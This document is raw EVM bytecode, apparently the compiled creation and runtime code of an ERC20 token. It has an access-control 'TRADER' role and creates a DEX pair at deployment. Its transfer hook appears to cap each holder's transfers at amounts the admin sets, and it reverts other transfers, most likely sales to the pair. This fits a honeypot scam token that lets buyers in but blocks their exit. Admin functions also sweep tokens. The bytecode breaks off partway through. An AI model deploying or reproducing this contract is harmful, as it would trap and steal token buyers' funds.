60806040523480156200001157600080fd5b5060405162004414380380620044148339818101604052810190620000379190620007d6565b8382828583600890816200004c919062000ac7565b5082600990816200005e919062000ac7565b506200009b8162000074620002b460201b60201c565b600a62000082919062000d3e565b846200008f919062000d8f565b620002bd60201b60201c565b50505050620000b46000801b336200043660201b60201c565b620000c96000801b846200043660201b60201c565b6000731b02da8cb0d097eb8d57a175b88c7d8b47997506905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000130573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000156919062000dda565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb96040518363ffffffff1660e01b8152600401620001a692919062000e1d565b6020604051808303816000875af1158015620001c6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ec919062000dda565b905080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505050505062000f36565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200032f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003269062000eab565b60405180910390fd5b62000343600083836200052760201b60201c565b806007600082825462000357919062000ecd565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620003af919062000ecd565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000416919062000f19565b60405180910390a362000432600083836200052c60201b60201c565b5050565b6200044882826200053160201b60201c565b6200052357600160008084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004c86200059b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b505050565b505050565b600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600033905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200060c82620005c1565b810181811067ffffffffffffffff821117156200062e576200062d620005d2565b5b80604052505050565b600062000643620005a3565b905062000651828262000601565b919050565b600067ffffffffffffffff821115620006745762000673620005d2565b5b6200067f82620005c1565b9050602081019050919050565b60005b83811015620006ac5780820151818401526020810190506200068f565b60008484015250505050565b6000620006cf620006c98462000656565b62000637565b905082815260208101848484011115620006ee57620006ed620005bc565b5b620006fb8482856200068c565b509392505050565b600082601f8301126200071b576200071a620005b7565b5b81516200072d848260208601620006b8565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007638262000736565b9050919050565b620007758162000756565b81146200078157600080fd5b50565b60008151905062000795816200076a565b92915050565b6000819050919050565b620007b0816200079b565b8114620007bc57600080fd5b50565b600081519050620007d081620007a5565b92915050565b60008060008060808587031215620007f357620007f2620005ad565b5b600085015167ffffffffffffffff811115620008145762000813620005b2565b5b620008228782880162000703565b9450506020620008358782880162000784565b935050604085015167ffffffffffffffff811115620008595762000858620005b2565b5b620008678782880162000703565b92505060606200087a87828801620007bf565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008d957607f821691505b602082108103620008ef57620008ee62000891565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009597fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200091a565b6200096586836200091a565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620009a8620009a26200099c846200079b565b6200097d565b6200079b565b9050919050565b6000819050919050565b620009c48362000987565b620009dc620009d382620009af565b84845462000927565b825550505050565b600090565b620009f3620009e4565b62000a00818484620009b9565b505050565b5b8181101562000a285762000a1c600082620009e9565b60018101905062000a06565b5050565b601f82111562000a775762000a4181620008f5565b62000a4c846200090a565b8101602085101562000a5c578190505b62000a7462000a6b856200090a565b83018262000a05565b50505b505050565b600082821c905092915050565b600062000a9c6000198460080262000a7c565b1980831691505092915050565b600062000ab7838362000a89565b9150826002028217905092915050565b62000ad28262000886565b67ffffffffffffffff81111562000aee5762000aed620005d2565b5b62000afa8254620008c0565b62000b0782828562000a2c565b600060209050601f83116001811462000b3f576000841562000b2a578287015190505b62000b36858262000aa9565b86555062000ba6565b601f19841662000b4f86620008f5565b60005b8281101562000b795784890151825560018201915060208501945060208101905062000b52565b8683101562000b99578489015162000b95601f89168262000a89565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c3c5780860481111562000c145762000c1362000bae565b5b600185161562000c245780820291505b808102905062000c348562000bdd565b945062000bf4565b94509492505050565b60008262000c57576001905062000d2a565b8162000c67576000905062000d2a565b816001811462000c80576002811462000c8b5762000cc1565b600191505062000d2a565b60ff84111562000ca05762000c9f62000bae565b5b8360020a91508482111562000cba5762000cb962000bae565b5b5062000d2a565b5060208310610133831016604e8410600b841016171562000cfb5782820a90508381111562000cf55762000cf462000bae565b5b62000d2a565b62000d0a848484600162000bea565b9250905081840481111562000d245762000d2362000bae565b5b81810290505b9392505050565b600060ff82169050919050565b600062000d4b826200079b565b915062000d588362000d31565b925062000d877fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c45565b905092915050565b600062000d9c826200079b565b915062000da9836200079b565b925082820262000db9816200079b565b9150828204841483151762000dd35762000dd262000bae565b5b5092915050565b60006020828403121562000df35762000df2620005ad565b5b600062000e038482850162000784565b91505092915050565b62000e178162000756565b82525050565b600060408201905062000e34600083018562000e0c565b62000e43602083018462000e0c565b9392505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000e93601f8362000e4a565b915062000ea08262000e5b565b602082019050919050565b6000602082019050818103600083015262000ec68162000e84565b9050919050565b600062000eda826200079b565b915062000ee7836200079b565b925082820190508082111562000f025762000f0162000bae565b5b92915050565b62000f13816200079b565b82525050565b600060208201905062000f30600083018462000f08565b92915050565b6134ce8062000f466000396000f3fe608060405234801561001057600080fd5b50600436106101c45760003560e01c806370a08231116100f95780639db3324411610097578063a9059cbb11610071578063a9059cbb14610519578063d547741f14610549578063dd62ed3e14610565578063e57be8a314610595576101c4565b80639db33244146104b15780639e816a08146104cd578063a457c2d7146104e9576101c4565b806381d0d250116100d357806381d0d2501461042957806391d14854146104455780639516a1041461047557806395d89b4114610493576101c4565b806370a08231146103c157806372a35732146103f1578063731690f41461040d576101c4565b80632a0acc6a1161016657806333f3d6281161014057806333f3d6281461032957806336568abe1461035957806339509351146103755780636571b0ed146103a5576101c4565b80632a0acc6a146102d15780632f2ff15d146102ef578063313ce5671461030b576101c4565b806318160ddd116101a257806318160ddd1461023557806318ad82f51461025357806323b872dd14610271578063248a9ca3146102a1576101c4565b806306fdde03146101c9578063095ea7b3146101e7578063175c4ef814610217575b600080fd5b6101d16105c5565b6040516101de9190612170565b60405180910390f35b61020160048036038101906101fc919061223a565b610657565b60405161020e9190612295565b60405180910390f35b61021f610675565b60405161022c91906122c9565b60405180910390f35b61023d610699565b60405161024a91906122f3565b60405180910390f35b61025b6106a3565b60405161026891906122f3565b60405180910390f35b61028b6004803603810190610286919061230e565b6106a9565b6040516102989190612295565b60405180910390f35b6102bb60048036038101906102b6919061238d565b6107a1565b6040516102c891906122c9565b60405180910390f35b6102d96107c0565b6040516102e691906122c9565b60405180910390f35b610309600480360381019061030491906123ba565b6107c7565b005b6103136107eb565b6040516103209190612416565b60405180910390f35b610343600480360381019061033e919061223a565b6107f4565b6040516103509190612295565b60405180910390f35b610373600480360381019061036e91906123ba565b610892565b005b61038f600480360381019061038a919061223a565b61092b565b60405161039c9190612295565b60405180910390f35b6103bf60048036038101906103ba9190612431565b6109d7565b005b6103db60048036038101906103d69190612431565b610a48565b6040516103e891906122f3565b60405180910390f35b61040b60048036038101906104069190612593565b610a91565b005b610427600480360381019061042291906125ef565b610b88565b005b610443600480360381019061043e91906126f7565b610c0b565b005b61045f600480360381019061045a91906123ba565b610caa565b60405161046c9190612295565b60405180910390f35b61047d610d14565b60405161048a9190612811565b60405180910390f35b61049b610da2565b6040516104a89190612170565b60405180910390f35b6104cb60048036038101906104c69190612431565b610e34565b005b6104e760048036038101906104e29190612833565b610ea4565b005b61050360048036038101906104fe919061223a565b611018565b6040516105109190612295565b60405180910390f35b610533600480360381019061052e919061223a565b611103565b6040516105409190612295565b60405180910390f35b610563600480360381019061055e91906123ba565b611121565b005b61057f600480360381019061057a91906128a2565b611145565b60405161058c91906122f3565b60405180910390f35b6105af60048036038101906105aa91906123ba565b6111cc565b6040516105bc91906122f3565b60405180910390f35b6060600880546105d490612911565b80601f016020809104026020016040519081016040528092919081815260200182805461060090612911565b801561064d5780601f106106225761010080835404028352916020019161064d565b820191906000526020600020905b81548152906001019060200180831161063057829003601f168201915b5050505050905090565b600061066b610664611246565b848461124e565b6001905092915050565b7f545241444552000000000000000000000000000000000000000000000000000081565b6000600754905090565b60035481565b60006106b6848484611417565b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610701611246565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610781576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610778906129b4565b60405180910390fd5b6107958561078d611246565b85840361124e565b60019150509392505050565b6000806000838152602001908152602001600020600101549050919050565b6000801b81565b6000801b6107dc816107d7611246565b6116c5565b6107e68383611762565b505050565b60006012905090565b60008060001b61080b81610806611246565b6116c5565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b81526004016108469291906129e3565b6020604051808303816000875af1158015610865573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108899190612a38565b91505092915050565b6000801b6108a7816108a2611246565b6116c5565b6108af611246565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461091c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091390612ad7565b60405180910390fd5b6109268383611842565b505050565b60006109cd610938611246565b848460066000610946611246565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c89190612b26565b61124e565b6001905092915050565b6000801b6109ec816109e7611246565b6116c5565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000801b610aa681610aa1611246565b6116c5565b600080610ab284611923565b80925081935050506000151581151503610b01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af890612bcc565b60405180910390fd5b6000821115610b5457610b4f7f545241444552000000000000000000000000000000000000000000000000000086610b4a670de0b6b3a764000086611a3e90919063ffffffff16565b611a54565b610b81565b610b807f5452414445520000000000000000000000000000000000000000000000000000866000611a54565b5b5050505050565b6000801b610b9d81610b98611246565b6116c5565b7f54524144455200000000000000000000000000000000000000000000000000008314610bff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf690612bcc565b60405180910390fd5b81600381905550505050565b6000801b610c2081610c1b611246565b6116c5565b60005b83518160ff161015610ca457610c917f5452414445520000000000000000000000000000000000000000000000000000858360ff1681518110610c6957610c68612bec565b5b6020026020010151610c8c670de0b6b3a764000087611a3e90919063ffffffff16565b611a54565b8080610c9c90612c1b565b915050610c23565b50505050565b600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60606004805480602002602001604051908101604052809291908181526020018280548015610d9857602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610d4e575b5050505050905090565b606060098054610db190612911565b80601f0160208091040260200160405190810160405280929190818152602001828054610ddd90612911565b8015610e2a5780601f10610dff57610100808354040283529160200191610e2a565b820191906000526020600020905b815481529060010190602001808311610e0d57829003601f168201915b5050505050905090565b6000801b610e4981610e44611246565b6116c5565b60018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000801b610eb981610eb4611246565b6116c5565b600084905060008173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2f9190612c70565b60ff16905060005b85518160ff16101561100f57600082600a610f529190612dd0565b86610f5d9190612e1b565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb888460ff1681518110610f9157610f90612bec565b5b6020026020010151836040518363ffffffff1660e01b8152600401610fb79291906129e3565b6020604051808303816000875af1158015610fd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffa9190612a38565b5050808061100790612c1b565b915050610f37565b50505050505050565b60008060066000611027611246565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110db90612ecf565b60405180910390fd5b6110f86110ef611246565b8585840361124e565b600191505092915050565b6000611117611110611246565b8484611417565b6001905092915050565b6000801b61113681611131611246565b6116c5565b6111408383611842565b505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061123e670de0b6b3a764000060008086815260200190815260200160002060020160000160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab390919063ffffffff16565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b490612f61565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361132c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132390612ff3565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161140a91906122f3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611486576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147d90613085565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ec90613117565b60405180910390fd5b6115217f5452414445520000000000000000000000000000000000000000000000000000848484611ac9565b61152c838383611bb3565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156115b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115aa906131a9565b60405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116489190612b26565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116ac91906122f3565b60405180910390a36116bf848484611bb8565b50505050565b6116cf8282610caa565b61175e576116f48173ffffffffffffffffffffffffffffffffffffffff166014611bbd565b6117028360001c6020611bbd565b60405160200161171392919061329d565b6040516020818303038152906040526040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117559190612170565b60405180910390fd5b5050565b61176c8282610caa565b61183e57600160008084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506117e3611246565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b61184c8282610caa565b1561191f57600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506118c4611246565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b60008060005b8351811015611a30576000603085838151811061194957611948612bec565b5b602001015160f81c60f81b60f81c61196191906132d7565b60ff16108061199f57506009603085838151811061198257611981612bec565b5b602001015160f81c60f81b60f81c61199a91906132d7565b60ff16115b156119b1576000809250925050611a39565b60018185516119c0919061330c565b6119ca919061330c565b600a6119d69190612dd0565b60308583815181106119eb576119ea612bec565b5b602001015160f81c60f81b60f81c611a0391906132d7565b60ff16611a109190612e1b565b83611a1b9190612b26565b92508080611a2890613340565b915050611929565b50816001915091505b915091565b60008183611a4c9190612e1b565b905092915050565b8060008085815260200190815260200160002060020160000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b60008183611ac191906133b7565b905092915050565b60006003541115611bad57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b3a57611b3584848484611df9565b611bac565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b9f57611b9a848483611e72565b611bab565b611baa848483611e72565b5b5b5b50505050565b505050565b505050565b606060006002836002611bd09190612e1b565b611bda9190612b26565b67ffffffffffffffff811115611bf357611bf2612468565b5b6040519080825280601f01601f191660200182016040528015611c255781602001600182028036833780820191505090505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110611c5d57611c5c612bec565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611cc157611cc0612bec565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060006001846002611d019190612e1b565b611d0b9190612b26565b90505b6001811115611dab577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110611d4d57611d4c612bec565b5b1a60f81b828281518110611d6457611d63612bec565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c945080611da4906133e8565b9050611d0e565b5060008414611def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de69061345d565b60405180910390fd5b8091505092915050565b6032600354148015611e385750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e4857611e478282611f4b565b5b611e528483610caa565b611e6c57611e608483611762565b611e6b848383611a54565b5b50505050565b611e7f6000801b83610caa565b611f4657606460035403611eca57816040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611ec1919061347d565b60405180910390fd5b6000611ed68484612047565b9050818110611f07576000611ef483836120a790919063ffffffff16565b9050611f01858583611a54565b50611f44565b826040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611f3b919061347d565b60405180910390fd5b505b505050565b611f54826120bd565b1561204357600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561200557611fd57f545241444552000000000000000000000000000000000000000000000000000083611762565b6120007f54524144455200000000000000000000000000000000000000000000000000008383611a54565b612042565b816040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401612039919061347d565b60405180910390fd5b5b5050565b600080600084815260200190815260200160002060020160000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081836120b5919061330c565b905092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561211a5780820151818401526020810190506120ff565b60008484015250505050565b6000601f19601f8301169050919050565b6000612142826120e0565b61214c81856120eb565b935061215c8185602086016120fc565b61216581612126565b840191505092915050565b6000602082019050818103600083015261218a8184612137565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121d1826121a6565b9050919050565b6121e1816121c6565b81146121ec57600080fd5b50565b6000813590506121fe816121d8565b92915050565b6000819050919050565b61221781612204565b811461222257600080fd5b50565b6000813590506122348161220e565b92915050565b600080604083850312156122515761225061219c565b5b600061225f858286016121ef565b925050602061227085828601612225565b9150509250929050565b60008115159050919050565b61228f8161227a565b82525050565b60006020820190506122aa6000830184612286565b92915050565b6000819050919050565b6122c3816122b0565b82525050565b60006020820190506122de60008301846122ba565b92915050565b6122ed81612204565b82525050565b600060208201905061230860008301846122e4565b92915050565b6000806000606084860312156123275761232661219c565b5b6000612335868287016121ef565b9350506020612346868287016121ef565b925050604061235786828701612225565b9150509250925092565b61236a816122b0565b811461237557600080fd5b50565b60008135905061238781612361565b92915050565b6000602082840312156123a3576123a261219c565b5b60006123b184828501612378565b91505092915050565b600080604083850312156123d1576123d061219c565b5b60006123df85828601612378565b92505060206123f0858286016121ef565b9150509250929050565b600060ff82169050919050565b612410816123fa565b82525050565b600060208201905061242b6000830184612407565b92915050565b6000602082840312156124475761244661219c565b5b6000612455848285016121ef565b91505092915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6124a082612126565b810181811067ffffffffffffffff821117156124bf576124be612468565b5b80604052505050565b60006124d2612192565b90506124de8282612497565b919050565b600067ffffffffffffffff8211156124fe576124fd612468565b5b61250782612126565b9050602081019050919050565b82818337600083830152505050565b6000612536612531846124e3565b6124c8565b90508281526020810184848401111561255257612551612463565b5b61255d848285612514565b509392505050565b600082601f83011261257a5761257961245e565b5b813561258a848260208601612523565b91505092915050565b600080604083850312156125aa576125a961219c565b5b60006125b8858286016121ef565b925050602083013567ffffffffffffffff8111156125d9576125d86121a1565b5b6125e585828601612565565b9150509250929050565b600080604083850312156126065761260561219c565b5b600061261485828601612378565b925050602061262585828601612225565b9150509250929050565b600067ffffffffffffffff82111561264a57612649612468565b5b602082029050602081019050919050565b600080fd5b600061267361266e8461262f565b6124c8565b905080838252602082019050602084028301858111156126965761269561265b565b5b835b818110156126bf57806126ab88826121ef565b845260208401935050602081019050612698565b5050509392505050565b600082601f8301126126de576126dd61245e565b5b81356126ee848260208601612660565b91505092915050565b6000806040838503121561270e5761270d61219c565b5b600083013567ffffffffffffffff81111561272c5761272b6121a1565b5b612738858286016126c9565b925050602061274985828601612225565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612788816121c6565b82525050565b600061279a838361277f565b60208301905092915050565b6000602082019050919050565b60006127be82612753565b6127c8818561275e565b93506127d38361276f565b8060005b838110156128045781516127eb888261278e565b97506127f6836127a6565b9250506001810190506127d7565b5085935050505092915050565b6000602082019050818103600083015261282b81846127b3565b905092915050565b60008060006060848603121561284c5761284b61219c565b5b600061285a868287016121ef565b935050602084013567ffffffffffffffff81111561287b5761287a6121a1565b5b612887868287016126c9565b925050604061289886828701612225565b9150509250925092565b600080604083850312156128b9576128b861219c565b5b60006128c7858286016121ef565b92505060206128d8858286016121ef565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061292957607f821691505b60208210810361293c5761293b6128e2565b5b50919050565b7f45524332303a207472616e7366657220616d74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b600061299e6025836120eb565b91506129a982612942565b604082019050919050565b600060208201905081810360008301526129cd81612991565b9050919050565b6129dd816121c6565b82525050565b60006040820190506129f860008301856129d4565b612a0560208301846122e4565b9392505050565b612a158161227a565b8114612a2057600080fd5b50565b600081519050612a3281612a0c565b92915050565b600060208284031215612a4e57612a4d61219c565b5b6000612a5c84828501612a23565b91505092915050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b6000612ac1602f836120eb565b9150612acc82612a65565b604082019050919050565b60006020820190508181036000830152612af081612ab4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612b3182612204565b9150612b3c83612204565b9250828201905080821115612b5457612b53612af7565b5b92915050565b7f416363657373436f6e74726f6c3a206d656d6f206973206e6f742061206e756d60008201527f6265720000000000000000000000000000000000000000000000000000000000602082015250565b6000612bb66023836120eb565b9150612bc182612b5a565b604082019050919050565b60006020820190508181036000830152612be581612ba9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612c26826123fa565b915060ff8203612c3957612c38612af7565b5b600182019050919050565b612c4d816123fa565b8114612c5857600080fd5b50565b600081519050612c6a81612c44565b92915050565b600060208284031215612c8657612c8561219c565b5b6000612c9484828501612c5b565b91505092915050565b60008160011c9050919050565b6000808291508390505b6001851115612cf457808604811115612cd057612ccf612af7565b5b6001851615612cdf5780820291505b8081029050612ced85612c9d565b9450612cb4565b94509492505050565b600082612d0d5760019050612dc9565b81612d1b5760009050612dc9565b8160018114612d315760028114612d3b57612d6a565b6001915050612dc9565b60ff841115612d4d57612d4c612af7565b5b8360020a915084821115612d6457612d63612af7565b5b50612dc9565b5060208310610133831016604e8410600b8410161715612d9f5782820a905083811115612d9a57612d99612af7565b5b612dc9565b612dac8484846001612caa565b92509050818404811115612dc357612dc2612af7565b5b81810290505b9392505050565b6000612ddb82612204565b9150612de683612204565b9250612e137fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612cfd565b905092915050565b6000612e2682612204565b9150612e3183612204565b9250828202612e3f81612204565b91508282048414831517612e5657612e55612af7565b5b5092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612eb96025836120eb565b9150612ec482612e5d565b604082019050919050565b60006020820190508181036000830152612ee881612eac565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f4b6024836120eb565b9150612f5682612eef565b604082019050919050565b60006020820190508181036000830152612f7a81612f3e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612fdd6022836120eb565b9150612fe882612f81565b604082019050919050565b6000602082019050818103600083015261300c81612fd0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061306f6025836120eb565b915061307a82613013565b604082019050919050565b6000602082019050818103600083015261309e81613062565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131016023836120eb565b915061310c826130a5565b604082019050919050565b60006020820190508181036000830152613130816130f4565b9050919050565b7f45524332303a207472616e7366657220616d7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006131936023836120eb565b915061319e82613137565b604082019050919050565b600060208201905081810360008301526131c281613186565b9050919050565b600081905092915050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000600082015250565b600061320a6017836131c9565b9150613215826131d4565b601782019050919050565b600061322b826120e0565b61323581856131c9565b93506132458185602086016120fc565b80840191505092915050565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000600082015250565b60006132876011836131c9565b915061329282613251565b601182019050919050565b60006132a8826131fd565b91506132b48285613220565b91506132bf8261327a565b91506132cb8284613220565b91508190509392505050565b60006132e2826123fa565b91506132ed836123fa565b9250828203905060ff81111561330657613305612af7565b5b92915050565b600061331782612204565b915061332283612204565b